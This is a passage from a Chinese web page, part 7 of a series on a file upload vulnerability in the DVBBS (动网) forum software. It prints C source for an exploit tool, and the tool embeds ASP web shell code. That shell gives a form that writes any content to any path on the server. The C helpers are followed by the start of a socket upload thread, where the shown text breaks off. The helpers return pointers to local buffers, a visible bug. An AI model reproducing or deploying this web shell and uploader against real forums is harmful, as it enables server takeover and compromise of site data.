动网论坛上传文件漏洞

动网论坛上传文件漏洞(7) "<%end if%>\r\n" 
"<%err.clear%>\r\n" 
"<%end if%>" 
"<%objCountFile.Close%>\r\n" 
"<%Set objCountFile=Nothing%>\r\n" 
"<%Set objFSO = Nothing%>" 
"<%Response.write \"<form action=\\ method=post>\"%>\r\n" 
"<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n" 
"<%Response.Write \"<br>\"%>\r\n" 
"<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n" 
"<%Response.write \"<br>\"%>\r\n" 
"<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n" 
"<%Response.write \"<input type=submit value=save>\"%>\r\n" 
"<%Response.write \"</form>\"%>\r\n"; 

//获得控件文本 
char *gettext(HWND chwnd) 
{ 
char tmpbuf[10000]; 
SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf); 
return tmpbuf; 
} 

//设置控件文本 
void settext(HWND chwnd,char *text) 
{ 
SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text); 
} 

char *itos(int data) 
{ 
char tmp[10]; 
sprintf(tmp, "%d", data); 
return tmp; 
} 

//上传线程 
DWORD WINAPI uploadthread(LPVOID param) 
{ 
SOCKET s; 
sockaddr_in sin; 
struct hostent * hp;